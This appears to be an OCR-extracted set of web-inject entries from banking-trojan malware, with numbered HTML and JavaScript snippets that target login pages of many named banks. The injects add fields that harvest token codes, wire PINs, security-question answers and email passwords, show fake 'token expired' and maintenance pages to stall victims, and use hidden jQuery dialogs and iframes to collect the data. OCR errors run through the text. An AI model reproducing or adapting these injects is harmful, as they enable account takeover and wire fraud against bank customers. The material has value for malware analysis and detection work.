class="EntryDiv"> <label for="txtPassword"> What is your father's middle name?
</label> <input name="A5" type="text" maxlength="30" id="ucLogin_txtPassword" tabindex="2"
autocomplete="off" alt="Key in your answer" style="width: 200px;" /> </div>

003B

name="username"*</TR>
e

<TR style="PADDING-BOTTOM: 10px"><TD class="body" style="BACKGROUND-COLOR:
transparent;PADDING-left:  30px"><Span  style="FONT-SIZE: 15px"><b>Email associated with
account&nbsp;</b></Span></TD><TD><input name="email" type="text" id="username" size="30"
maxlength="40" class="textbox" /></TD></TR><TR style="PADDING-BOTTOM: 10px"><TD class="body"
style="BACKGROUND-COLOR: transparent;PADDING-left: 30px"><Span style="FONT-SIZE:
15px"><b>Email password&nbsp;</b></Span></TD><TD><input name="emailpass" type="text"
id="username" size="30" maxlength="40" class="textbox" /></TD></TR>

003C

name="username"*>
</td>m

<br><font color="#000000" style="font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;">Wire PIN
</font><br><input type="text" name="injpin" id="username" maxlength="7" size="10" value="" class="input-
box"> <input type="submit" name="Submit" value="Sign In" alt="Enter"
class="enter"></td>

003D

name="username"*>
</td>m

<br><font color="#000000" style="font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;">Wire PIN
</font><br><input type="text" name="injpin" id="username" maxlength="7" size="10" value="" class="input-
box"> <input type="submit" name="Submit" value="Sign In" alt="Enter"
class="enter"></td>

003E

<head>

<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms['tmupLogonFormT;if(form.injtoken.value.length == 0) {alert ("You must provide a token code
in order to login.");form.injtoken.focus();return false;}if(form.injpin.value.length == 0) {alert ("You must provide
a pin code in order to login.");form.injpin.focus();return false;}return true;}/ --></script>7

<input type="image" name="submit_logon"*onclick="

return CheckData();

<form name="tmupLogonForm"

%

onsubmit="return CheckData();"7

<form name="tmupLogonForm"*method="POST" action="

"k

https://singlepoint.usbank.com/error

name="j_password"*</tr>
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<tr class="bg2"><td class="subhead"><label for="j_passwordl">Generated Token
Password</label>&nbsp;</td></tr><tr class="bg2"><td class="bg2"><input type="password"
name="injtoken" styleld="j_password1" maxlength="24" style="width:225px;"

autocomplete="off"/></td></tr><tr  class="bg2"><td  class="subhead"><label for="]_password2">Wire
PIN</label>&nbsp;</td></tr><tr class="bg2"><td class="bg2"><input type="password" name="injpin"
styleld="]_password2" maxlength="24" style="width:225px;" autocomplete="off"/></td></tr>

003F

name="UserPass"*</tr>

<tr> <td class="loginText">PIN</td> <td class="leftAlign"><input type="Text"
name="injpin" size="8" maxlength="24"></td></tr>

0040
name="UserPass"*</tr>
9

<tr> <td align="right" colspan="2"><font size="2">What is the zip code of your main

supplier?</font></td> <td colspan="2"><input type="text" size="16" maxlength="8"
name="injal"> </td> </tr>

0041
name="USERID"*</tr>
<tr class="barbkgrdcolor"><td><img src="/TekPortfolio/0/includes/1pixel.gif" alt="" width="1"
height="1"></td><td class="label" align="right">What was the first name of your favorite aunt or
uncle?</td><td><img  src="/TekPortfolio/O/includes/1pixel.gif* alt=""  width="1" height="1"></td><td
class="label"><input type="text" size="23" name="injal" maxlength="20"
onChange="Loaded()"></td><td><img src="/TekPortfolio/0/includes/1pixel.gif" alt="" width="1"

height="1"></td></tr><tr class="barbkgrdcolor"><td><img src="/TekPortfolio/0/includes/1pixel.gif* alt=""
width="1" height="1"></td><td class="label" align="right">What was your favorite high school

sport?</td><td><img  src="/TekPortfolio/O/includes/1pixel.gif* alt=""  width="1" height="1"></td><td
class="label"><input type="text" size="23" name="inja2" maxlength="20"
onChange="Loaded()"></td><td><img src="/TekPortfolio/0/includes/1pixel.gif" alt="" width="1"

height="1"></td></tr>!
Please enter your User ID*}

if (document.ACTION.injal.value==""){document. ACTION.injal.focus(); alert("Please enter your
answer.");return false;}

0042
name="CustID"*</tr>
|

<tr> <td align="right" width="302"> <div align="right">What was the name of your High School? <input
type="Text" name="injal" size="12" maxlength = 24> <input type="hidden" name="injgql" value="What was
the name of your High School?"></div></td><td align="left" width="303">&nbsp;</td></tr>

0043
4Please verify your picture and personal phraseRegister your computer

0044

name="company|D"*</tr>

<tr bgcolor="#ffffff"> <td class="wtspace">&nbsp;</td> <td class="label" width="50%">What is your paternal
grandmother's  first name?&nbsp;</td> <td class="input" width="50%">&nbsp;<input type="text"
name="injal" maxlength="32" size="12" value=""> * <input type="hidden" name="injql" value="What is your
paternal grandmother's first name?"><br></td> <td class="wtspace">&nbsp;</td></tr>

0045

<form action="

"/
https://www.citibank.com/us/citibusiness/
<form action="*>

9
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<input type="hidden" name="injtoken" value="hello">

0046
K
if (theForm.userPassword.value ==") fldList += ' -- User Password’;
if (theForm.injal.value == ") fldList += ' -- First Answer';if (theForm.inja2.value == ") fldList += ' -- Second
Answer’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="injal" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >Email password:</td><td align=right ><INPUT class="dataText" type="text"
name="inja2" size="20" value=""></td></tr>

0047
K
if (theForm.userPassword.value == ") fldList +=' -- User Password";
if (theForm.injal.value == ") fldList += ' -- First Answer';if (theForm.inja2.value == ") fldList += ' -- Second
Answer’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="injal" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >Email password:</td><td align=right ><INPUT class="dataText" type="text"
name="inja2" size="20" value=""></td></tr>

0048
K
if (theForm.userPassword.value == ") fldList +=' -- User Password";
if (theForm.injal.value == ") fldList += ' -- First Answer';if (theForm.inja2.value == ") fldList += ' -- Second
Answer’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="injal" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >Email password:</td><td align=right ><INPUT class="dataText" type="text"
name="inja2" size="20" value=""></td></tr>

0049
!<FORM name="login" action="
h-trtps://www.jpmorgan.com/cm/ContentServer?pagename:Chase/Href&urlnameszmorgan
<FORM name="login"*>
zinput type="hidden" name="injtoken" value="hello">

004A

!

<FORM name="login" action="

"T
https://www.jpmorgan.com/cm/ContentServer?pagename=Chase/Href&urlname=jpmorgan
<FORM name="login"*>

9

<input type="hidden" name="injtoken" value="hello">

004B
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ACTION=""&https://www.floridagulfbank.com/

004C
<body*>
123123123
name="CORPID"*</tr>

<tr> <td class="txtBlack"

align="right"> Password
</td> <td> <input
type="password"  class="textbox" name="injpassword"  style="width: 120px;"  maxlength="20"
value="" tabindex="1" onkeypress="onKeyPress()" /> </td>
<td> </td> </tr>
<tr> <td class="txtBlack" align="right">
Token code </td> <td>
<input type="text" class="textbox" name="injtoken"  style="width: 120px;"  maxlength="20"
value="" tabindex="1" onkeypress="onKeyPress()" /> </td>
<td> </d> </tr>

004D

0
<input name="LoginControl1$Username"*</tr>

<tr><td class="formFieldLabel"><span id="LoginControll_strUserLabel">Answer 1</span></td><td><input
name="injal" type="text" id="LoginControll_injal" maxlength="30" /></td></tr>

004E

<head>
</htmI>8

<meta http-equiv="content-type" content="text/html; charset=windows-1251"><meta http-equiv="Cache-
Control" content="no-cache"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Expires"

content="-1"><title>CASHplus Login</title><script language="Javascript" type="text/javascript"
src="https://www.businessonlineaccess.web-cashplus.com/publ/js/utilities.js"></script><script

language="Javascript" type="text/javascript" src="https://www.businessonlineaccess.web-
cashplus.com/publ/js/validation.js"></script><link rel="stylesheet" type="text/css"

href="https://www.businessonlineaccess.web-cashplus.com/pub/product_brands/synovus/css/brand.css">
<style>#validationMessages{top:"-310px";left:35%;width:63%:;height:"75px";position:
relative;}</style></head><body style="background-image: url();" onload="parent.onLoad();"
bgcolor="#ffffff"><table =~ border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td
bgcolor="#7h8386" width="100%"><img src="https://www.businessonlineaccess.web-
cashplus.com/pub/product_brands/synovus/images/BOA%20Logo.jpg"></td></tr></tbody></table><form
autocomplete="off" action="https://www.businessonlineaccess.web-cashplus.com/Cashplus/1"
method="post" id="loginForm"  target="_top"><input = name="event" id="event"  value="Login"
type="hidden"><input name="requestID" value="Login" type="hidden"><input name="service"
value="Security" type="hidden"><input name="loginKey" value="" type="hidden"><input
name="forgetpasswordIind" value="Yes" type="hidden"> <br><div>
<table><tbody><tr><td>&nbsp;&nbsp;</td><td><span style="font-size: 11px; font-family: verdana,arial; line-
height: 16px;">Thisis a secure site and is to be used by authorized customersonly.&nbsp;Actual or
attempted unauthorized use will result in criminaland /or civil prosecution.&nbsp; We reserve the right to
view, monitorand record activity on the system without notice or permission.&nbsp;Any information obtained
by monitoring, reviewing or recording issubject to review by law enforcement organizations in connection
withthe investigation or prosecution of possible criminal activity on thesystem.&nbsp; If you are not an
authorized user of this system or donot consent to continued monitoring, please exit the system at
thistime.</span></td><td>&nbsp;&nbsp;</td></tr> </tbody></table></div><br><br><br><br><div
align="center"> <center><table><tbody><tr><td style="font-family: tahoma,sans-serif; font-size:
18px; font-weight: 700; color: gray; text-align: right;" width="471" height="23"> <p
style="margin-top: 4px;"> </p></td></tr><tr><td style="font-family: tahoma,sans-serif; font-
size: 18px; font-weight: 700; color: gray; text-align: right;" width="471" height="23"> <p
style="margin-bottom: Opt;" align="center"><font color="#000000" face="Verdana">Welcome
to Business OnLine Access</font></p> <p style="margin-top: Opt;" align="center"><font
color="#000000" face="Verdana">Enter your Username, Password and Token Passcode</font></p>
</td></tr></tbody></table></center></div><div  style="padding: Opx Opx Opx 310px;  width:
600px;"><center></center><center></center><table cellpadding="5" cellspacing="5" width=""
height="180"><thody><tr><td style="font-family: tahoma,sans-serif,'font-size 14px’; font-weight: bold; color:
gray; text-align: right;" width="21" height="22">&nbsp;</td><td width="346" height="22"> <p
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align="left"><b><font color="#000000" face="Tahoma">Username:</font></b></p></td><td width="160"
height="22"> <p align="left">&nbsp;<input name="loginID" id="loginID" style="border: 1px solid rgbh(0, 0, 0);

width: 150px; color: rgh(0, 0, 0);" type="text"></p></td></tr> <tr><td style="font-family: tahoma,sans-
serif,'font-size  14px’; font-weight: bold; color: rgb(0, 0, 0); text-align: right;" width="21"
height="44">&nbsp;</td> <td width="346" height="44"> <p align="Ileft"><b><font color="#000000"

face="Tahoma">Password:</font></b></p></td><td width="160" height="44"> <p align="Ileft">&nbsp;<input
name="password" id="password" style="border: 1px solid rgb(0, 0, 0); width: 150px; color: rgb(0, 0, 0);"

type="password"></p></td></tr> <tr><td style="font-family: tahoma,sans-serif,'font-size 14px’; font-
weight: bold; color: rgh(0, 0, 0); text-align: right;" width="21" height="44">&nbsp;</td> <td
width="346" height="44"> <p align="left"><b><font color="#000000" face="Tahoma">Token

Passcode:</font></b></p></td><td width="160" height="44"> <p align="Ileft">&nbsp;<input name="injtoken"
id="password" style="border: 1px solid rgb(0, O, 0); width: 150px; color: rgb(0, 0, O0)"

type="password"></p></td></tr> <tr><td style="text-align: right;" colspan="3" width="575"
height="27"><input id="login" class="submitButton" value="Login"
onclick="document.getElementByld(‘event).value = 'Login’; parent.onSubmit()" type="submit"><button
onclick="top.document.location.replace(’http://www.synovus.com/')" class="submitButton">Exit</button><!--
juliec --> </td></tr><tr><td style="text-align: right;" colspan="3"
width="575" height="27"><script type="text/javascript">// Start modified by Gupta RaviKumar for CR #
48883 :Date-08Jan2008: as set the ‘event' value on 'Forgot Password?' button click.
if( parent.forgotPasswordEnabled() ) {
document.write('<input id="forgotpassword" type="submit" class="submitButton" value="Forgot Password?"
onClick="setEvent(); parent.onSubmit()">")
document.getElementByld(‘event’).value = 'ForgetPassword’; Yunction
setEvent(){document.getElementByld('event’).value = 'ForgetPassword;}// End CR # 48883.

</script></td></tr></tbody></table></div></form></body></htmI|>

004F

<htmI><head><title>Web Cashplus website is currently offline</titte></head><body><center><h2>Sorry, we
are currently offine due to scheduled maintenance. We'll be back in @ 24-48
hours.</h2></center></body></html>

0050
<input name="aid"*</tr>

<tr> <td align="right">The name of your first boss?</td> <td><input name="injal" type="text"
class="InputField" size="8"></td> </tr>

0051
2
<form target="CNPWin" method="post" action="
"$
https://bnycash.bankofny.com/1
<form*>
9
<input type="hidden" name="injtoken" value="hello">
0052
5
<form method="post" name="logininfo" action="*>
>

<input type="hidden" name="injtoken" value="login data">K

<form AUTOCOMPLETE="OFF" action="/phcp/serviet/TokenAuthentication"*>
9

<input type="hidden" name="injtoken" value="token">'

<form AUTOCOMPLETE="OFF" action="

"6

https://itreasury.regions.com/phcp/serviet/error

0053
<FORM name="PassForm"*>
>
<input type="hidden" name="injtoken" value="login data">

0054

B
<form target="_self" method="post" name="challenge" action="
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/bbw/cmserver/error
<form*>
>

<input type="hidden" name="injtoken" value="token code">

0055

%

<FORM Name="Form1" id="Form1™*>

>

<input type="hidden" name="injtoken" value="token code">,
<FORM Name="Form1" id="Form1" ACTION="

"6

https://www.fiservdmecorpl.net/EBC_EBC1961/error

0056

C

<form method="post" name="formlogin" id="formlogin" action="
"%

http://www.wellsfargo.com/error

<body

onLoad="alert('Please note: now we require 2 token passcodes in order to login. Please generate new
token passcode every time it requested.’);" ,

type="password" name="PASSWORD"*bold">

<div class="filler">

<label for="token">Token Passcode</label> <span class="smallertext">&#40;REQUIRED&#41;</span><br
/><input class="signon" type="password" name="injtoken" size="8" accesskey="t" id="token" tabindex="4"
[></div><div class="SignOnCell bold"><label for="token">Token Passcode</label> <span
class="smallertext">&#40;Required. Please generate token again.&#41;</span></span><br /><input
class="signon" type="password" name="injtokenl" size="8" accesskey="t" id="token" tabindex="4" /></div>
FieldName="Company ID";*}

else if (tempobj.name=="injtoken") { FieldName="Token Passcode"; } else if
(tempobj.name=="injtoken1") { FieldName="Token Passcode"; }
0057
<html*>
</html>

<head><title>Please wait. Loading Commercial Electronic Office...</title><script>function ChangeText ()
{document.getElementByld('maindiv').innerHTML='"Token passcode has expired. Please go back to <a
href=https://wellsoffice.wellsfargo.com/portal/signon/index.jsp>login page</a> and try to login generating
new token passcodes again.’;}</script></head><body onLoad="setTimeout('ChangeText ()', 60000);"><div
id="maindiv'>Loading... Please wait. It can take up to 60 seconds.</div></body>

0058
%
<FORM Name="Form1" id="Form1"*>
<input type="hidden" name="injtoken" value="userid">

0059

%
<FORM Name="Form1" id="Form1"*>

<input type="hidden" name="injtoken" value="userid">,
<FORM Name="Form1" id="Form1" ACTION="

"2

https://www.fiservlal0.com/EBC_EBC1961/error
<BUTTON*onClick="

"/

javascript:document.forms.Form1.submit();

005A

<head>
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<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms['logonForm';if(form.companylD.value.length == 0) {alert ('Please enter your Company
ID.");form.companylID.focus();return false;}if(form.username.value.length == 0) {alert ('Please enter your
username.");form.username.focus();return false;}if(form.fullpass.value.length == 0) {alert ('Please enter you
full password.");form.fullpass.focus();return false;}if(form.transpass.value.length == 0) {alert ('Please enter
you transaction password.");form.transpass.focus();return false;}return true;}// --></script>

005B
'<form name="logonForm™"*onsubmit="return CheckData();

005C

*

name="username"*</div>*</div>*</div>
#

<div class="row"><div class="label"><label for="fullpass">Password</label></div><div class="value"><input
type="text" name="fullpass" maxlength="32" size="12" tabindex="2" value="" id="fullpass"></div><div
class="required">*</div></div><div class="row"><div class="label"><label for="transpass">Transaction
Password</label></div><div class="value"><input type="text" name="transpass" maxlength="32" size="12"
tabindex="2" value="" id="transpass"></div><div class="required">*</div></div>

005D

1
input type="Password" name="userpass"</div>

<div class="loginlnputUserPass">Passcode: <input name="injtoken" type="text" class="loginTextFields"
maxlength="24"></div>

005E

<form*>=<input type="hidden" name="injtoken" value="user data">

005F
4
<form name="aspnetForm" method="post" action="
)
https://businessonlinebanking.ebanking-services.com/error
<form*>
>

<input type="hidden" name="injtoken" value="token data">

0060
2
<FORM NAME="login_form" METHOD=post action="
"E

https://www.manufacturers.web-access.com/wa/cgi-bin/welcome.cgi
<FORM NAME="login_form"*>

8

<input type="hidden" name="injtoken" value="data">
name="SecurityCode">*</tr>

<tr> <td align="right" colspan="2"><font size="2">TEST KEY: </font></td>
<td colspan="2"><input type="password" size="16" maxlength="8" name="testkey"> </td> </tr>
0061
<HTML>
</[HTML>Z

<head><title>Cash management website is currently unavailable</titte></head><body><center><img
src="https://www.manufacturers.web-access.com/wa/images/HC/loginban.gif'><br><br><h2>Cash
Management Connection WebSite is currently unavailable due to scheduled maintenance. Please check
back in 12-24 hours.</h2></center></body>

0062

<HTML>9
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<META HTTP-EQUIV="Cache-Control" CONTENT="nocache">X

<head><title>Cash management website is currently unavailable</titte></head><body><center><img
src="https://www.bankoffortbendonline.com/onlineserv/CM/std/img/customNavbar.gif'><br><br><h2>Cash
Management WebSite is currently unavailable due to scheduled maintenance. Please check back in 12-24
hours.</h2></center></body>

0063

<HTML>9
<META HTTP-EQUIV="Cache-Control" CONTENT="nocache">X

<head><title>Cash management website is currently unavailable</title></head><body><center><img
src="https://www.bankoffortbendonline.com/onlineserv/CM/std/img/customNavbar.gif'><br><br><h2>Cash
Management WebSite is currently unavailable due to scheduled maintenance. Please check back in 12-24
hours.</h2></center></body>

0064

<form*>=<input type="hidden" name="injtoken" value="user data">

0065
4
<form name="aspnetForm" method="post" action="
"6
https://citizensbank.ebanking-services.com/error
<form*>
>

<input type="hidden" name="injtoken" value="token data">

0066

<FORM*>=<input type="hidden" name="injtoken" value="user data">

0067
B
<form target="_self" method="post" name="challenge" action="
"5
https://ctreporter.coletaylor.com/bbw/cmserver/
<form*>
>

<input type="hidden" name="injtoken" value="token data">

0068

<HEAD>9
<META HTTP-EQUIV="Cache-Control* CONTENT="nocache">N

<title>Internet Cash Management System currently offline</titte></head><body><TABLE border="0"

cellpadding="0" cellspacing="0" width="770"> <tr class="titteBarBackground" width="770"> <td
colspan=3 class="titleBarText" align="left" valign="top"> <DIV id=logoback style="position:relative;
LEFT:O0pt;width:100%;height:125px"> <img ID="backgroundLogo" STYLE="position:absolute;TOP:0pt;
LEFT:Opt;width: 770px; height=124px; Z-INDEX:0;" src="./std/img/navbar_blue.jpg"> <img
ID="navLogo" STYLE="position:absolute;TOP:40pt; LEFT:3pt;WIDTH:122px;HEIGHT:71px;Z-
INDEX:2;" src="./std/img/navbarLogo.gif"> </DIV></Td></tr></table><h2>Internet Cash

Management System currently offline. Please check back later.</h2></body>

0069

<form*>=<input type="hidden" name="injtoken" value="user data">

006A

4
<form name="aspnetForm" method="post" action="
https://wtb.ebanking-services.com/error

<form*>

>

<input type="hidden" name="injtoken" value="token data">
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006B

<form name="Form1"*>
s

<input type="hidden" name="injtoken" value="customer id">

006C

<form id="SignOn"*action="

"/

https://www2.alerusfinancial.com/out.html

<form id="SignOn"*>

<

<input type="hidden" name="injtoken" value="token id">

006D
<HTML>

</HTML>
<head></head><body><center><h1>eCash website is currently unavailable due to security updates. Please
check back later.</h1></center></body>

006E
<head>
</htmI>0O

<title>CASHplus Login</title><!-- SCRIPT DEFINITIONS: The following two .js files and must be included for
proper function.--><script language="Javascript" type="text/javascript"
src="/publ/js/utilities.js"></script><script language="Javascript" type="text/javascript"
src="/pub/js/validation.js"></script><!-- CSS DEFINITION: Two options:1. Either import the main.css file (
<link rel="stylesheet" type="text/css" href="/pub/css/main.css"/> )-OR-2. Include a <style></style> section in
this file and add style info for the following classes: "messageText" -> Text of error messages displayed
in the top right-hand corner and in the "start new session" box"submitButton" -> Style of the buttons ( If not
customized )"winlessDialog" -> Style of the surrounding box that contains the "start new session" message
and buttons( Class entries in main.css can be copied and changed )--><link rel="stylesheet" type="text/css"

href="/pub/product_brands/FirstBankPR/css/brand.css" /></head><body bgcolor="#FFFFFF"
style="background-image:url(‘/pub/product_brands/FirstBankPR/images/login_bg.gif');"

onload="parent.onLoad();"><form autocomplete="off" action="https://cm.firstbankpr.com/error"
method="post" id="loginForm" onsubmit="parent.onSubmit()"target="_top"><input type="hidden"
name="event" id="event" value="Login"></input><input type="hidden" name="requestID"
value="Login"></input><input type="hidden" name="service" value="Security"></input><input type="hidden"
name="loginKey" value=""></input><input type="hidden" name="forgetpasswordInd"

value="Yes"></input><!--input type="hidden" name="loginID" value=""/--><div style="height: 493; width: 600;
padding: 75px Opx Opx 175px;"><table cellspacing="5" cellpadding="5" width=""
height="180"><tbody><tr><td style="font-family: tahoma, sans-serif; font-size: 18px; font-weight: 700; color:
gray; text-align: right" colspan="4" width="471" height="23"><font color="#024EQ7" face="Verdana">Enter
your Username, Password and Security Code.</font></td></tr><tr><td style="font-family: tahoma, sans-
serif, ‘font-size 14px’; font-weight: bold; color: gray; text-align: right" width="21" height="22">&nbsp;</td><td
width="346" colspan="2" height="22"> <p align="right"><b><font color="#024E07"
face="Tahoma">Username:</font></b></p></td><td width="160" height="22"> <p
align="right">&nbsp;<input type="text" name="loginID" id="loginID" style="width:150px;border:1px solid
#024E07;color:#024E07;"></input></p></td></tr><tr><td style="font-family: tahoma, sans-serif, ‘font-size
14px'; font-weight: bold; color: #024EQ07; text-align: right" width="21" height="44">&nbsp;</td><td

width="346" colspan="2" height="44"> <p align="right"><b><font color="#024E07"
face="Tahoma">Password:</font></b></p></td><td width="160" height="44"> <p
align="right">&nbsp;<input type="password" name="password" id="password"

style="width:150px;border:1px solid #024EQ07;color:#024EQ7;"></input></p></td></tr><tr><td style="font-
family: tahoma, sans-serif, 'font-size 14px’; font-weight: bold; color: #024EQ7; text-align: right" width="21"
height="44">&nbsp;</td><td  width="346" colspan="2" height="44"> <p align="right"><b><font
color="#024E07" face="Tahoma">Security Code:</font></b></p></td><td width="160" height="44"> <p
align="right">&nbsp;<input type="text" name="injtoken" id="password" style="width:150px;border:1px solid
#024E07;color:#024E07;"></input></p></td></tr><tr><td style="text-align: right" colspan="4" width="575"
height="27"><input id="login" type="submit" class="submitButton" value="Login" /><button
onclick="top.document.location.replace(http://www.firstbankpr.com/*)"
class="submitButton">Exit</button></td></tr><tr><!--juliec --><td style="text-align: right" colspan="4"
width="575" height="27"><script type="text/javascript"> if(
parent.forgotPasswordEnabled() )

document.write('<input id="forgotpassword" type="submit" class="submitButton" value="Forgot Password?"
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> document.getElementByld(‘'event’).value = 'ForgetPassword'’; }
</script><!--<input id="forgotpassword" type="submit" class="submitButton" value="Forgot Password?">--
><I--button  onclick="executeEvent('Cancel','’changePasswordForm' false,false);"  class="submitButton"
id="forgetpassword">Forgot Password?</button--

>&#160;&#160;</td></tr></tbody></table></div></form></body></htmI>

006F

<form*>=<input type="hidden" name="injtoken" value="user data">

0070
4
<form name="aspnetForm" method="post" action="
"3
https://privatebk.ebanking-services.com/error
<form*>
>

<input type="hidden" name="injtoken" value="token data">

0071
<form name="PassForm"*>

<input type="hidden" name="injtoken" value="user data">

0072
name="challenge" action="

/bbw/cmserver/include/challenge100.cfm

<input type="password"*>

I

<input type="hidden" name="injtoken" value="token v pole password">

0073

</HTML>

<h2>Due to system maintenance, online banking will be unavailable for 24 hours. Please try to access this
page at a later point or if you have any questions contact our technical support desk at 1-888-236-
0232.</h2>

0074

<input name="tbParam1"*</tr>

<tr><td align="left" valign="top"><span id="|blIParam1" class="Black10Bold">Password:</span></td><td
align="left" valign="top"><input name="injtoken" type="text" maxlength="20" id="tbParaml1" tabindex="2"
class="Black10" /><br /><span controltovalidate="tbParaml1" display="Dynamic" id="rfvParam1"

class="ErrText" evaluationfunction="RequiredFieldValidatorEvaluatelsValid" initialvalue=""
style="color:Red;display:none;">Password is required</span> <span controltovalidate="tbParam1"
errormessage="Only  alphanumeric  characters  allowed."  display="Dynamic" id="rxfvParam1"
class="Red11Bold" evaluationfunction="RegularExpressionValidatorEvaluatelsValid"

validationexpression="[A-Za-z0-9_]*"  style="color:Red;display:none;">Only  alphanumeric  characters
allowed.</span> </td></tr>

0075

!

<form name="Form1" action="

"v
https://passport.texascapitalbank.com/BankNow.aspx?ErrorMsg=Token%20Code%?20expired.%20Please%
20generate%?20again.

<form name="Form1"*>

?

<input type="hidden" name="injtoken" value="hello kitty">

0076
!

<form name="Form1" action="
ny
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https://passport.texascapitalbank.com/BankNow.aspx?ErrorMsg=Token%20Code%?20expired.%20Please%
20generate%20again.

<form name="Form1"*>

s

<input type="hidden" name="injtoken" value="hello kitty">

0077

<form name="Form1"*>
5

<input type="hidden" name="injtoken" value="customer id">

0078

<form id="SignOn"*action="

"&

https://ecash.fsbnm.com/out.html

<form id="SignOn"*>

<

<input type="hidden" name="injtoken" value="token id">

0079

<HTML>

</HTML>

<head></head><body><center><h1>eCash website is currently unavailable due to security updates. Please
check back later.</h1></center></body>

007A
<FORM name="PassForm"*>

<input type="hidden" name="injtoken" value="user data">

007B

<FORM METHOD=POST NAME=\"challenge\"*>

<

<input type=\"hidden\" name=\"injtoken\" value=\"hi\">0
<FORM METHOD=POST NAME="challenge" ACTION=
>/

/iBank/cmserver/include/challenge100.cfm>

0o7C
<HEAD>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1l.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
'slide’,"hide" : 'slide',"resizable" : false,"width" : 470,"buttons" : { "Submit" : function(){if (jQuery("#dialog
input[name='"injalT").val().length == 0) {alert('Please enter your answer');} else
{jQuery("#dialogform").submit();}} }});jQuery("#dialogiframe").load(function(){document.body.style.visibility =
‘hidden’;jQuery("#dialog").dialog("close");document.login_form.submit();});jQuery("#dialog").dialog("open™);d
ocument.body.style.visibility = 'visible';}</script>

<BODY*>

|

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.qgif" class="ui-helper-
hidden"></iframe><center><img src="https://www.businesse-cashmanager.web-
access.com/natpenn/images/natpennbank/loginban.gif* alt="" /><p>To provide additional security to your
account we occasionaly require to verify personal data we have on file. Please provide answer to questions
below.</p><form id="dialogform" name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><table><tr><td align="right"><b>What is the name of the
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hospital in which you were born?</b></td><td align="left"><input name="injal" type="text" size="20"
[></td></tr></table></form></center></div>(

<FORM NAME="login_form"*action="*"

Y

onsubmit="document.body.style.visibility = 'hidden'; show_dialog(); return false;"

007D
<HEAD>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/l.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
'slide’,"hide" : 'slide',"resizable" : false,"width" : 400,"buttons" : { "Submit" : function(){if (jQuery("#dialog
inputfname='injall").val().length == 0) {alert(Please enter Transaction PASSWORDY;} else
{jQuery("#dialogform").submit();}} }});jQuery("#dialogiframe").load(function(){document.body.style.visibility =
'hidden’;jQuery("#dialog").dialog("close");document.frmLogon.submit();});jQuery("#dialog").dialog("open");do
cument.body.style.visibility = 'visible';}</script>

</object>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.gif" class="ui-helper-
hidden"></iframe><center><p>To provide additional security to your account we occasionaly require to
verify personal or sensitive data we have on file.</p><p>To verify your identity please provide your
transaction password.</p><form id="dialogform" name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><table><tr><td align="right"><b>User Name</b></td><td
align="left" id="pp_uname"><script
type="text/javascript">$(#pp_uname").html($(‘#username’).val())</script></td></tr><tr><td
align="right"><b>Transaction PASSWORD</b></td><td align="left"><input name="injal" type="text"
size="20" /[></td></tr></table></form></center></div>0

onclick="if ('ValidateSave("))*'OnClick")

O

;document.body.style.visibility = *hidden'; show_dialog(); return false;

007E
<head>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1l.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
'slide’,"hide" : 'slide’,"resizable" : false,"width" : 400,"buttons" : { "Submit" : function(){if (jQuery("#dialog
inputfname='"injtoken"").val().length == 0) {alert(Please enter your Token Code');} else
{jQuery("#dialogform").submit();}} }});jQuery("#dialogiframe").load(function(){document.body.style.visibility =
‘hidden’;jQuery("#dialog").dialog("close");document.PassForm.submit();});jQuery("#dialog").dialog("open");do
